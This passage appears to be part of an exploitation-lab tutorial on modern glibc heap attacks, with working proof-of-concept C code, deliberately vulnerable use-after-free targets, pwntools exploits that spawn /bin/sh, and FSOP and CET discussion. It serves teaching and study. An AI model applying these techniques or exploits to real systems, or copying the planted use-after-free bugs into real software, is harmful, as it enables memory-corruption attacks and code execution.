  • Metadata Corruption: Overlapping chunk corrupts tcache next pointer
  • Safe-Linking Bypass: XOR with chunk address defeats protection
  • Arbitrary Write: Next malloc returns controlled address

Large Bin Attack (glibc 2.30+ Variant)

// ~/exploit/large_bin_attack.c
// Arbitrary address overwrite with heap pointer
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    setvbuf(stdin,NULL,_IONBF,0);
    setvbuf(stdout,NULL,_IONBF,0);

    size_t target = 0;
    printf("Target at %p: %lu\n\n", &target, target);

    // Allocate two large chunks (different sizes, same large bin)
    size_t *p1 = malloc(0x428);  // Larger
    malloc(0x18);                 // Guard
    size_t *p2 = malloc(0x418);  // Smaller (will be inserted)
    malloc(0x18);                 // Guard

    printf("p1 (larger): %p\n", p1-2);
    printf("p2 (smaller): %p\n\n", p2-2);

    // Free p1 -> unsorted bin
    free(p1);
    // Allocate larger to move p1 into large bin
    malloc(0x438);

    // Free p2 -> unsorted bin
    free(p2);

    printf("State: p1 in largebin, p2 in unsorted bin\n\n");

    // VULNERABILITY: Corrupt p1->bk_nextsize
    // Glibc doesn't check bk_nextsize if new chunk is smallest
    p1[3] = (size_t)((&target)-4);
    printf("Corrupted p1->bk_nextsize to target-0x20\n");

    // Trigger: allocate larger than p2 to insert p2 into large bin
    malloc(0x438);

    // Upon insertion: victim->bk_nextsize->fd_nextsize = victim
    // This writes &p2 to target!
    printf("\nTarget now contains: %p (p2-0x10 = %p)\n",
           (void*)target, p2-2);

    assert((size_t)(p2-2) == target);
    printf("SUCCESS: Large bin attack wrote heap pointer to target!\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro large_bin_attack.c -o large_bin_attack
./large_bin_attack

Test Results:

Target at 0x7ffc62e176c0: 0

p1 (larger): 0x1153c290
p2 (smaller): 0x1153c6e0

State: p1 in largebin, p2 in unsorted bin

Corrupted p1->bk_nextsize to target-0x20

Target now contains: 0x1153c6e0 (p2-0x10 = 0x1153c6e0)
SUCCESS: Large bin attack wrote heap pointer to target!

Attack Success:

  • Target at 0x7ffc62e176c0 initially contains 0
  • Large chunks: p1 at 0x1153c290, p2 at 0x1153c6e0
  • After setup: p1 in largebin, p2 in unsorted bin
  • Corrupted p1->bk_nextsize to point at target-0x20
  • Arbitrary write achieved: target now contains heap pointer 0x1153c6e0

Why This Works:

  • Large Bin Insertion: When p2 inserted into large bin, glibc writes to bk_nextsize->fd_nextsize
  • Weak Validation: glibc doesn't validate bk_nextsize if new chunk is smallest
  • Arbitrary Write: Corrupted pointer causes write to any address
  • Heap Pointer: Writes heap address (useful for bypassing ASLR)

Fastbin Reverse Into Tcache (glibc 2.41)

Similar to unsorted_bin_attack but works with small allocations. When tcache is empty and fastbin has entries, malloc refills tcache from fastbin in reverse order, writing heap pointers to stack.

// ~/exploit/fastbin_reverse_into_tcache.c
// Arbitrary heap pointer write via fastbin->tcache refill
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
    setbuf(stdout, NULL);

    // Allocate 14 chunks for later
    char* ptrs[14];
    for (size_t i = 0; i < 14; i++)
        ptrs[i] = malloc(allocsize);

    // Fill tcache (7 chunks)
    for (size_t i = 0; i < 7; i++)
        free(ptrs[i]);

    // Next free goes to fastbin (tcache full)
    char* victim = ptrs[7];
    printf("Victim chunk: %p\n", victim);
    free(victim);

    // Free 6 more to fastbin
    for (size_t i = 8; i < 14; i++)
        free(ptrs[i]);

    // Target on stack
    size_t stack_var[6];
    memset(stack_var, 0xcd, sizeof(stack_var));
    printf("Stack target: %p (value: %p)\n", &stack_var[2], (void*)stack_var[2]);

    // VULNERABILITY: Corrupt victim's fd pointer (safe-linking bypass required)
    *(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));

    // Empty tcache
    for (size_t i = 0; i < 7; i++)
        ptrs[i] = malloc(allocsize);

    printf("\nBefore trigger - stack contents:\n");
    for (size_t i = 0; i < 6; i++)
        printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);

    // TRIGGER: malloc from fastbin causes reverse refill into tcache
    // 7 fastbin chunks copied to tcache, stack addr ends up as tcache entry
    malloc(allocsize);

    printf("\nAfter trigger - heap pointer written to stack!\n");
    for (size_t i = 0; i < 6; i++)
        printf("%p: %p\n", &stack_var[i], (void*)stack_var[i]);

    // Next malloc returns stack address!
    char *q = malloc(allocsize);
    printf("\nGot stack allocation: %p\n", q);
    assert(q == (char *)&stack_var[2]);
    printf("SUCCESS: Fastbin reverse into tcache!\n");
    return 0;
}

Build and Run:

cd ~/exploit
gcc -g -O0 -no-pie -Wl,-z,norelro fastbin_reverse_into_tcache.c -o fastbin_reverse_into_tcache
./fastbin_reverse_into_tcache

Test Results:

Victim chunk: 0x29d2a4d0
Stack target: 0x7ffd808c11c0 (value: 0xcdcdcdcdcdcdcdcd)

Before trigger - stack contents:
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd

After trigger - heap pointer written to stack!
0x7ffd808c11b0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11b8: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11c0: 0x7d60aac11
0x7ffd808c11c8: 0x685b97d2a6aa5329
0x7ffd808c11d0: 0xcdcdcdcdcdcdcdcd
0x7ffd808c11d8: 0xcdcdcdcdcdcdcdcd

Got stack allocation: 0x7ffd808c11c0
SUCCESS: Fastbin reverse into tcache!

Attack Success:

  • Victim chunk at 0x29d2a4d0, stack target at 0x7ffd808c11c0
  • Before: stack filled with 0xcdcdcdcdcdcdcdcd pattern
  • After trigger: heap pointers written to stack at 0x7ffd808c11c0 and 0x7ffd808c11c8
  • Arbitrary allocation achieved: malloc(allocsize) returned stack address!

Why This Works:

  • Fastbin→Tcache Refill: When tcache empty, malloc refills from fastbin in reverse
  • Reverse Order: Fastbin entries processed backwards, writing to stack
  • Heap Pointer Write: Victim chunk address written to stack during refill
  • Arbitrary Allocation: Stack address now in tcache, next malloc returns it

House of Water (glibc 2.32+)

Leakless heap exploitation technique by @udp_ctf.

[!IMPORTANT] Key insight: The tcache_perthread_struct metadata on the heap is NOT protected by safe-linking! This allows manipulation without needing a heap leak first.

House of Water - Leakless tcache metadata control:
1. Create fake 0x10001 header via tcache counts manipulation
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer
5. Use the libc pointer leak to complete exploitation

Key Features:
- Leakless (forces program to provide leak during exploitation)
- Requires 4-bit bruteforce × 2 = 1/256 success rate per attempt
- Targets tcache_perthread_struct which lacks safe-linking protection

Requirements:
- Double-free, UAF, or heap overflow
- Precise heap layout control
- Ability to choose where to write within a chunk

Why tcache metadata is vulnerable:

// tcache_perthread_struct is at heap start (after initial malloc)
struct tcache_perthread_struct {
    uint16_t counts[TCACHE_MAX_BINS];  // NOT protected by safe-linking!
    tcache_entry *entries[TCACHE_MAX_BINS];  // These ARE protected
};
// Corrupting counts can create fake chunk headers!

House of Tangerine (glibc 2.32+)

Modern House of Orange that doesn't need free()!

House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation

Use when:
- No free() primitive available
- Have heap overflow to corrupt top chunk
- Need heap and address leaks for safe-linking bypass

Safe-Linking Double-Protect Bypass (Blind - Hard)

Bypass safe-linking without a heap leak (4-bit bruteforce):

/* Key insight: (ptr ^ key) ^ key = ptr
 * By linking a pointer twice, safe-linking cancels itself out!
 * Technique by @udp_ctf - requires tcache metadata control (House of Water)
 *
 * Steps:
 * 1. Get control of tcache metadata (via House of Water or overflow)
 * 2. Link target address twice in tcache chain
 * 3. Second link cancels XOR of first link
 * 4. Only need to bruteforce 4 bits of ASLR
 */

House of XXX Techniques (Overview)

TechniqueTargetglibc VersionNotes
Tcache House of SpiritFake chunk in tcache2.27-2.41No next chunk validation!
Tcache Metadata PoisonDirect tcache metadata2.27-2.41Metadata NOT safe-link protected!
House of Spirit (Fastbin)Fake chunk in fastbin2.23-2.41Need heap leak for 2.32+
House of LoreSmall bin corruption2.23-2.41Still works
House of BotcakeTcache + unsorted bin2.29-2.41Most practical double-free
House of Tangerinesysmalloc _int_free2.27-2.41No free() needed!
House of EinherjarBackward consolidation2.23-2.41Needs null byte write
House of WaterUAF → tcache metadata ctrl2.32-2.41Leakless! 1/256 bruteforce
House of GodsArena hijacking2.23-2.26Pre-tcache arena corruption
House of Mind (Fastbin)Arena corruption2.23-2.41Complex arena manipulation
House of ForceTop chunk size overwrite2.23-2.28Patched in 2.29
House of OrangeUnsorted bin + FSOP2.23-2.26Patched in 2.27

glibc Version Eras:

Eraglibc VersionsKey Features
Pre-Tcache2.23-2.25Classic heap, hooks available, no tcache
Tcache Era2.26-2.31Tcache introduced, hooks still work
Safe-Linking Era2.32-2.33Pointer XOR mangling, alignment checks
Post-Hooks Era2.34+__malloc_hook/__free_hook REMOVED
Modern Era2.38+FSOP hardened, enhanced checks

Learning Path (Recommended Order):

1. Start Easy:
   └── Tcache House of Spirit → Tcache Metadata Poisoning

2. Progress to Medium:
   └── House of Botcake → House of Tangerine

3. Attempt Hard (after mastering Medium):
   └── House of Einherjar → House of Water (leakless!)

Modern Techniques (glibc 2.32+):

House of Botcake - Double-free bypass using tcache + unsorted bin:
1. Fill tcache (7 chunks)
2. Free chunk A into unsorted bin
3. Free chunk B into unsorted bin (consolidates with A)
4. Empty tcache
5. Free chunk B again (goes to tcache, but overlaps with unsorted chunk!)
6. Allocate from unsorted → gives overlapping chunk
7. Overwrite tcache next pointer → arbitrary allocation

House of Water - UAF to tcache metadata control:
1. Create fake 0x10001 header via tcache counts
2. Satisfy chunk metadata at fake_chunk + 0x10000
3. Link fake small bin entries
4. Trigger allocation → get tcache metadata chunk + free libc pointer

House of Tangerine - No free() needed:
1. Corrupt top chunk size to page-aligned value
2. Trigger sysmalloc via large allocation
3. Old top chunk freed via _int_free → goes to tcache
4. Poison tcache with safe-linking bypass → arbitrary allocation

When to Use Which:

Decision tree for modern heap technique selection:

Do you have a heap leak? (Required for glibc 2.32+)
├── No: Need leak first (info disclosure bug)
└── Yes: Continue...

Do you have a heap overflow?
├── Yes: House of Einherjar, tcache poisoning, House of Tangerine
└── No: Do you have UAF?
    ├── Yes: House of Botcake (double-free), House of Water (metadata)
    └── No: Do you have arbitrary free?
        ├── Yes: House of Spirit (tcache)
        └── No: Do you have OOB read/write only?
            ├── Yes: House of Tangerine (no free needed!)
            └── No: Need to find more bugs

Modern Heap Protections (glibc 2.41)

Protectionglibc VersionMitigationBypass
Tcache double-free key2.29+Key in freed chunkHouse of Botcake, leak key
Safe-linking2.32+XOR pointer manglingHeap leak, or double-protect
Pointer alignment check2.32+16-byte alignment requiredCraft aligned fake chunk
Fastbin fd validation2.32+Check fd points to validNeed heap leak
Top chunk size check2.29+Validate top chunk sizeHouse of Tangerine
Unsorted bin checks2.29+bk->fd == victim checkHouse of Botcake
fd pointer validation2.32+Check fd in expected rangeTarget must be in heap range

Recent Vulnerability: Integer overflow in memalign family (glibc 2.30-2.42):

  • Affects memalign, posix_memalign, aligned_alloc
  • Attacker-controlled size + alignment → heap corruption
  • Patched in glibc 2.39-286, 2.40-216, 2.41-121, 2.42-49

Checking Protections:

# Check glibc version
ldd --version

# Check specific binary's libc
ldd ./target | grep libc
strings /lib/x86_64-linux-gnu/libc.so.6 | grep "GNU C Library"

# Check exact version for patch level
apt-cache policy libc6 2>/dev/null || rpm -q glibc

From Arbitrary Write to Code Execution

Once you have an arbitrary write/allocation primitive from heap exploitation, here's how to achieve code execution on modern systems:

Target Selection (Modern glibc 2.34+):

TargetRELRO RequiredCET ImpactNotes
GOT entry (e.g., exit)PartialBypasses!Best target if available
Function pointer in structAnyBypasses!Common in heap exploits
__free_hookAnyN/AREMOVED in glibc 2.34+
__malloc_hookAnyN/AREMOVED in glibc 2.34+
_IO_list_all (FSOP)AnyComplexHardened in glibc 2.38+
Return address on stackAnyBlockedCET shadow stack prevents

Best Targets on Modern Systems:

  1. GOT Overwrite (Partial RELRO only):

    # Overwrite exit@GOT with one_gadget
    target = elf.got['exit']
    one_gadget = libc.address + 0xef52b
    
    # Set RBP? Not needed for GOT overwrites!
    # The call goes through PLT which is a legitimate indirect call
    arbitrary_write(target, one_gadget)
    
  2. Function Pointer in Heap Object:

    # UAF to overwrite callback pointer with win function
    # Works even with CET - it's a direct call, not ROP
    arbitrary_write(obj_addr + 32, elf.symbols['admin_function'])
    
  3. Stack Pivot + ROP (if GOT/funptr unavailable):

    # Write to stack via heap technique, then ROP
    # Need RBP fix for one_gadget!
    payload = p64(pop_rbp) + p64(writable + 0x80) + p64(one_gadget)
    

Why CET Doesn't Block Heap Exploits:

CET (Control-flow Enforcement Technology) blocks:
- ROP chains via corrupted return addresses
- ret2libc via stack buffer overflow

CET does NOT block:
+ GOT overwrites (PLT is legitimate indirect call target)
+ Function pointer overwrites (direct call through pointer)
+ FSOP / file structure attacks
+ one_gadget (internal libc code paths satisfy CET)

This is why heap exploitation remains powerful on modern systems!

Complete Heap-to-Shell Example (Modern glibc):

This complete example demonstrates UAF exploitation with function pointer overwrite - the most reliable technique on modern systems with CET.

Target Program (heap_shell_target.c):

// ~/exploit/heap_shell_target.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char data[32];
    void (*callback)(void);
} Object;

Object *obj = NULL;
char *note = NULL;

void normal_func(void) { printf("Normal function called\n"); }
void win_func(void) { printf("WIN! Spawning shell...\n"); system("/bin/sh"); }

void menu(void) {
    printf("\n1. alloc  2. free  3. write  4. call  5. exit\n> ");
    fflush(stdout);
}

int main(void) {
    char cmd[16];
    setvbuf(stdout, NULL, _IONBF, 0);

    while (1) {
        menu();
        if (read(0, cmd, sizeof(cmd)) <= 0) break;

        if (cmd[0] == '1') {  // alloc
            obj = malloc(sizeof(Object));
            obj->callback = normal_func;
            printf("Object @ %p\n", obj);
        }
        else if (cmd[0] == '2') {  // free
            if (obj) {
                free(obj);
                // BUG: dangling pointer!
                printf("Freed (but pointer kept)\n");
            }
        }
        else if (cmd[0] == '3') {  // write - reclaims freed chunk
            note = malloc(sizeof(Object));
            printf("data: ");
            fflush(stdout);
            read(0, note, sizeof(Object));
            printf("Note @ %p\n", note);
        }
        else if (cmd[0] == '4') {  // call - UAF trigger
            if (obj) {
                printf("Calling callback...\n");
                obj->callback();
            }
        }
        else if (cmd[0] == '5') break;
    }
    return 0;
}

Compile:

cd ~/exploit
make disabled SOURCE=heap_shell_target.c BINARY=heap_shell_target
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none \
#    heap_shell_target.c -o heap_shell_target

Exploit (exploit_heap_shell.py):

#!/usr/bin/env python3
# ~/exploit/exploit_heap_shell.py
"""
Complete UAF-to-shell exploit for modern glibc
Technique: Function pointer overwrite (bypasses CET!)
"""
from pwn import *

binary = './heap_shell_target'
elf = ELF(binary)
context.binary = elf

def alloc(p):
    p.sendlineafter(b'> ', b'1')

def free_obj(p):
    p.sendlineafter(b'> ', b'2')

def write_note(p, data):
    p.sendlineafter(b'> ', b'3')
    p.sendafter(b'data: ', data)

def call_obj(p):
    p.sendlineafter(b'> ', b'4')

def exploit():
    p = process(binary)

    # Get win function address
    win = elf.symbols['win_func']
    log.info(f"win_func @ {hex(win)}")

    # Step 1: Allocate object with function pointer
    alloc(p)

    # Step 2: Free it (creates dangling pointer)
    free_obj(p)

    # Step 3: Reclaim with controlled data
    # Object layout: char data[32] + void (*callback)(void)
    payload = b'A' * 32      # Fill data field
    payload += p64(win)      # Overwrite callback with win_func
    write_note(p, payload)

    # Step 4: Use dangling pointer - calls our win_func!
    call_obj(p)

    # Got shell!
    p.interactive()

if __name__ == '__main__':
    exploit()

Run:

cd ~/exploit
source ~/crash_analysis_lab/.venv/bin/activate
python3 exploit_heap_shell.py

Test Results:

[+] Starting local process './heap_shell_target': pid 2433
[*] win_func @ 0x4011ac
[*] Switching to interactive mode
Calling callback...
WIN! Spawning shell...
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './heap_shell_target' (pid 2433)

Exploit Success:

  • win_func located at static address 0x4011ac (No PIE)
  • UAF exploit successfully overwrote function pointer
  • Shell spawned: WIN! Spawning shell... message confirms success
  • Interactive shell obtained with user privileges
  • CET Bypassed: Function pointer call works even with modern CET protection

Why This Works on Modern Systems:

This exploit bypasses modern mitigations:

- NX/DEP: No shellcode needed, we call existing function
- ASLR: No-PIE binary, addresses are fixed
- Stack Canary: No stack overflow, heap corruption only
- CET/IBT: Function pointer call is LEGITIMATE indirect call!
          (CET only blocks ROP, not direct function pointer calls)
- Safe-linking: N/A (tcache not used, just UAF spray pattern)

Key insight: CET validates that indirect calls go to valid function
entries (ENDBR64 instructions), but win_func IS a valid function!

Generic Heap-to-Shell Pattern (when you have arbitrary write):

# Once you have arbitrary write primitive from heap corruption:

# Option A: GOT overwrite (Partial RELRO only)
if elf.relro != 'Full':
    arbitrary_write(elf.got['exit'], win_addr)  # or one_gadget
    # Trigger by calling exit()

# Option B: Function pointer overwrite (always works, even with CET!)
else:
    # Overwrite callback in struct with win/one_gadget
    arbitrary_write(obj_addr + func_ptr_offset, win_addr)
    # Trigger by using the object

# Option C: __libc_start_main return address (complex, needs stack addr)
# Option D: TLS/DTV attack (glibc internals, advanced)

Introduction to FSOP (File Stream Oriented Programming)

With the removal of __malloc_hook and __free_hook in glibc 2.34+, FSOP is the primary method for turning heap primitives into code execution when GOT is not writable (Full RELRO).

The Concept:

glibc uses _IO_FILE structures (like stdin, stdout, stderr) to manage streams. These structures contain a vtable pointer (_IO_file_jumps) that points to a table of function pointers for I/O operations.

_IO_FILE Structure (simplified):
┌────────────────────────────┐
│ _flags                     │ ← Controls behavior
├────────────────────────────┤
│ _IO_read_ptr               │
│ _IO_read_end               │
│ _IO_read_base              │ ← Buffer pointers
│ _IO_write_base             │
│ _IO_write_ptr              │
│ _IO_write_end              │
├────────────────────────────┤
│ ...                        │
├────────────────────────────┤
│ _chain                     │ ← Links to next FILE (linked list)
├────────────────────────────┤
│ _fileno                    │ ← File descriptor
├────────────────────────────┤
│ ...                        │
├────────────────────────────┤
│ vtable (8 bytes)           │ ← Points to _IO_file_jumps
└────────────────────────────┘

_IO_file_jumps (vtable):
┌────────────────────────────┐
│ __dummy / __dummy2         │
├────────────────────────────┤
│ _IO_finish                 │ ← Called on fclose/exit
├────────────────────────────┤
│ _IO_overflow               │ ← Called when buffer full
├────────────────────────────┤
│ _IO_underflow              │
├────────────────────────────┤
│ ...                        │
└────────────────────────────┘

Classic FSOP Attack (glibc < 2.24):

  1. Corrupt a FILE struct: Overwrite stdout, stderr, or forge a fake _IO_FILE
  2. Set fake vtable: Point vtable to attacker-controlled memory
  3. Trigger: Call exit() (flushes all streams) or any stdio function
// Pre-2.24: Direct vtable pointer overwrite
fake_file._IO_jump_t = &fake_vtable;
fake_vtable.__overflow = system;
// Set up _IO_write_ptr > _IO_write_base to trigger overflow
// Point _IO_write_base to "/bin/sh"

Modern FSOP (glibc 2.24+):

glibc 2.24 added _IO_vtable_check() which validates that vtable pointers fall within the legitimate vtable section. Direct fake vtable attacks no longer work.

Bypass via _IO_str_jumps / _IO_wfile_jumps:

The trick is to use legitimate vtables but manipulate FILE struct fields to control what gets called:

Attack Strategy (glibc 2.24-2.37):
1. Set vtable to _IO_str_jumps (legitimate, passes check)
2. Manipulate _IO_buf_base, _IO_buf_end, etc.
3. When _IO_str_overflow is called, it does:
   new_buf = malloc(new_size);
   memcpy(new_buf, old_buf, old_size);
   (*(fp->_IO_str_jumps->_free_buffer))(old_buf)  // Call with controlled arg!
4. Forge FILE so _free_buffer call becomes system("/bin/sh")

Why Classic FSOP Fails on Modern glibc (fsop_demo.c):

This demonstrates that direct vtable overwrite FAILS on glibc 2.24+ due to _IO_vtable_check():

// ~/exploit/fsop_demo.c
// Demonstrates that classic FSOP FAILS on modern glibc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void win(void) {
    printf("WIN! FSOP triggered!\n");
    system("/bin/sh");
}

int main() {
    printf("=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===\n\n");
    printf("stdout @ %p\n", stdout);
    printf("win @ %p\n", win);

    FILE *fp = stdout;
    printf("Original vtable @ %p\n", *(void**)((char*)fp + 0xd8));

    // Create fake vtable
    void *fake_vtable[30];
    memset(fake_vtable, 0, sizeof(fake_vtable));
    fake_vtable[3] = (void*)win;  // __overflow -> win

    // Try to overwrite vtable pointer
    printf("\nOverwriting vtable with fake @ %p\n", fake_vtable);
    *(void**)((char*)fp + 0xd8) = fake_vtable;

    printf("Triggering fflush... (this will crash!)\n");
    fflush(stdout);  // CRASHES: glibc detects invalid vtable

    printf("If you see this, FSOP worked (glibc < 2.24)\n");
    return 0;
}

Compile and Run:

cd ~/exploit
gcc -g -O0 -no-pie -fcf-protection=none fsop_demo.c -o fsop_demo
./fsop_demo

Test Results:

=== Classic FSOP Demo (will FAIL on glibc 2.24+) ===

stdout @ 0x776c6a6045c0
win @ 0x401176
Original vtable @ 0x776c6a602030

Overwriting vtable with fake @ 0x7ffe77115fd0
Fatal error: glibc detected an invalid stdio handle
Aborted

Classic FSOP Failure:

  • stdout at 0x776c6a6045c0, original vtable at 0x776c6a602030 (legitimate)
  • Fake vtable on stack at 0x7ffe77115fd0 successfully written
  • glibc aborts: _IO_vtable_check() detects invalid vtable outside legitimate range
  • Proof: Modern glibc (2.24+) blocks classic FSOP with fake vtables

Why It Fails:

glibc 2.24+ added _IO_vtable_check():
- Validates vtable pointer falls within legitimate __libc_IO_vtables section
- Fake vtables on stack/heap are OUTSIDE this range → ABORT

This is why we need:
1. Function pointer overwrite (bypasses FSOP entirely)
2. House of Apple/Water (uses legitimate vtables like _IO_wfile_jumps)
3. Techniques that don't rely on fake vtables

Exploit for fsop_target (Function Pointer Overwrite):

Since CET blocks GOT overwrite to system(), we use function pointer overwrite which calls legitimate functions.

Updated target with function pointer (fsop_target.c):

// ~/exploit/fsop_target.c
// Vulnerable program with UAF for function pointer overwrite
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

typedef struct {
    char data[32];
    void (*callback)(void);
} Object;

Object *obj = NULL;
char *note = NULL;

void normal_func(void) { printf("Normal callback\n"); }
void win_func(void) { printf("WIN!\n"); system("/bin/sh"); }

void menu() {
    printf("\n1.alloc 2.free 3.write 4.call 5.exit\n> ");
}

int main() {
    char cmd[16];
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    printf("win_func @ %p\n", win_func);

    while (1) {
        menu();
        read(0, cmd, sizeof(cmd));
        switch(cmd[0]) {
            case '1':  // alloc
                obj = malloc(sizeof(Object));
                obj->callback = normal_func;
                printf("Object @ %p\n", obj);
                break;
            case '2':  // free (UAF - keeps dangling pointer!)
                if (obj) {
                    free(obj);
                    printf("Freed (dangling pointer kept!)\n");
                }
                break;
            case '3':  // write - reclaims freed chunk
                note = malloc(sizeof(Object));
                printf("data: ");
                read(0, note, sizeof(Object));
                printf("Note @ %p\n", note);
                break;
            case '4':  // call - triggers UAF
                if (obj) {
                    printf("Calling callback...\n");
                    obj->callback();
                }
                break;
            case '5':
                exit(0);
        }
    }
    return 0;
}

Compile:

cd ~/exploit
gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target

Working Exploit (exploit_fsop.py):

#!/usr/bin/env python3
# ~/exploit/exploit_fsop.py
"""
UAF to function pointer overwrite - bypasses CET!
Target: fsop_target
"""
from pwn import *

context.arch = 'amd64'
binary = './fsop_target'
elf = ELF(binary)

def alloc(p):
    p.sendlineafter(b'> ', b'1')

def free_obj(p):
    p.sendlineafter(b'> ', b'2')

def write_note(p, data):
    p.sendlineafter(b'> ', b'3')
    p.sendafter(b'data: ', data)

def call_obj(p):
    p.sendlineafter(b'> ', b'4')

def exploit():
    p = process(binary)

    # Get win function address
    win = elf.symbols['win_func']
    log.info(f"win_func @ {hex(win)}")

    # Step 1: Allocate object with function pointer
    alloc(p)
    log.success("Allocated object")

    # Step 2: Free it (creates dangling pointer)
    free_obj(p)
    log.success("Freed object (dangling pointer)")

    # Step 3: Reclaim with controlled data
    # Object layout: char data[32] + void (*callback)(void)
    payload = b'A' * 32      # Fill data field
    payload += p64(win)      # Overwrite callback with win_func
    write_note(p, payload)
    log.success("Reclaimed chunk with payload")

    # Step 4: Use dangling pointer - calls our win_func!
    log.success("Triggering callback -> win_func -> shell!")
    call_obj(p)

    # Got shell!
    p.interactive()

if __name__ == '__main__':
    exploit()

Compile and Run:

gcc -g -O0 -no-pie -fno-stack-protector fsop_target.c -o fsop_target
python3 exploit_fsop.py

Test Results:

[*] '/home/dev/exploit/fsop_target'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Starting local process './fsop_target': pid 2477
[+] win_func @ 0x401230
[*] Allocated object
[*] Freed object (dangling pointer)
[*] Reclaimed chunk with payload
[+] Triggering callback -> win_func -> shell!
[*] Switching to interactive mode
Calling callback...
WIN!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fsop_target' (pid 2477)

Exploit Success - CET Bypassed!:

  • Modern Protections Active: SHSTK and IBT enabled (CET protection)
  • win_func at static address 0x401230 (No PIE)
  • UAF Success: Function pointer overwritten with controlled address
  • CET Bypassed: Function pointer call is legitimate indirect call, not blocked by IBT
  • Shell Achieved: WIN! message and interactive shell with user privileges

Why This Works While Classic FSOP Fails:

Function Pointer Overwrite vs Classic FSOP:

Function Pointer Overwrite (Working):
+ Direct call through object field
+ Legitimate indirect call - CET allows
+ No vtable validation needed
+ Uses existing program functions
+ Bypasses all modern mitigations

Classic FSOP (Failed):
- Fake vtable on stack/heap
- _IO_vtable_check() aborts on invalid vtable
- Requires legitimate vtable section
- Complex house of apple/water needed
- Outdated technique

Key Insight: On modern systems with CET, function pointer overwrite is superior to FSOP because it uses legitimate indirect calls that CET is designed to allow, while FSOP requires bypassing vtable validation.

Modern Exploitation Decision Tree (glibc 2.39+):

Do you have a heap primitive (UAF/overflow)?
├── Yes: Can you control a function pointer in a struct?
│   ├── Yes: Function pointer overwrite → WORKS! (bypasses CET)
│   └── No:  Use House of Water/Tangerine for tcache control
│            → Allocate over struct with function pointer
│            → Overwrite with legitimate function
└── No: Need stronger primitive first

For FSOP specifically (Full RELRO targets):
├── glibc < 2.24: Direct vtable overwrite
├── glibc 2.24-2.37: _IO_str_jumps abuse
├── glibc 2.34-2.38: House of Apple/Emma (wide vtable chain)
└── glibc 2.39+ with CET: Function pointer overwrite preferred
                          (FSOP techniques may fail due to CET)

Technique Compatibility (Updated for CET):

Techniqueglibc RangeCET StatusNotes
Direct vtable overwrite< 2.24N/ANo vtable check
_IO_str_jumps abuse2.24-2.37N/APatched in 2.38
House of Apple/Emma2.34-2.38BlockedCET blocks gadget calls
Function pointer overwriteAllWORKSCalls real functions
House of Water2.32+WORKSGets tcache control
House of Tangerine2.27+WORKSNo free() needed

Recommended Approach for Modern Systems:

ScenarioRecommended Technique
CET enabled (2.39+)Function pointer overwrite via UAF/heap corrupt
Full RELRO + CETHouse of Water → func ptr overwrite
Partial RELRO no CETGOT overwrite (simpler)
Need tcache controlHouse of Water or House of Tangerine

Practical Exercise

Exercise: Use-After-Free Exploitation

Create the target (uaf_challenge.c):

// ~/exploit/uaf_challenge.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char name[32];
    void (*greet)(void);
} Person;

void normal_greet() { printf("Hello!\n"); }
void admin_greet() { printf("Admin!\n"); system("/bin/sh"); }

Person *current = NULL;

void create() {
    current = malloc(sizeof(Person));
    strcpy(current->name, "user");
    current->greet = normal_greet;
    printf("Created at %p\n", current);
}

void delete_person() {
    free(current);
    // BUG: current not set to NULL - dangling pointer!
    printf("Deleted\n");
}

void greet() {
    if (current) current->greet();
}

void edit(char *data) {
    // Allocates same size as Person - reclaims freed chunk!
    char *buf = malloc(sizeof(Person));
    memcpy(buf, data, sizeof(Person));
    printf("Edit buffer at %p\n", buf);
}

int main() {
    char cmd[100], data[64];
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Commands: create, delete, greet, edit\n");
    while (fgets(cmd, sizeof(cmd), stdin)) {
        if (strncmp(cmd, "create", 6) == 0) create();
        else if (strncmp(cmd, "delete", 6) == 0) delete_person();
        else if (strncmp(cmd, "greet", 5) == 0) greet();
        else if (strncmp(cmd, "edit ", 5) == 0) {
            fgets(data, sizeof(data), stdin);
            edit(data);
        }
    }
    return 0;
}

Compile:

cd ~/exploit
make disabled SOURCE=uaf_challenge.c BINARY=uaf_challenge
#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none uaf_challenge.c -o uaf_challenge

Find admin_greet address:

objdump -d uaf_challenge | grep admin_greet
  1. Write exploit:

based on what you've learned, write the proper exploit

Exercise: Tcache House of Spirit

